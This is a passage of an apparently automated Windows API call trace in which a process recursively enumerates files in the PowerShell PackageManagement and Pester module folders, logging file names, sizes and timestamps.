	[0160.360] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1
	[0160.360] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1
	[0160.360] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1
	[0160.360] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1
	[0160.360] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1
	[0160.360] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0
	[0160.361] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0160.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0160.361] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0160.361] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0160.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0160.364] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1
	[0160.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0160.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0161.148] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.148] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1
	[0161.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0161.149] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5") returned 55
	[0161.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0161.295] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.296] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0161.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.296] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin") returned 59
	[0161.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0161.296] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.296] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1
	[0161.296] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0
	[0161.296] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0161.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.296] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0161.296] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1
	[0161.297] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0161.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.297] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US") returned 61
	[0161.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0161.297] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.297] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1
	[0161.297] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1
	[0161.297] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0
	[0161.298] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0161.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0161.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.298] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples") returned 64
	[0161.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0161.298] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1
	[0161.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0161.300] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator") returned 75
	[0161.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0161.300] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.300] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0161.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0161.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0161.301] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator") returned 74
	[0161.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0161.301] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
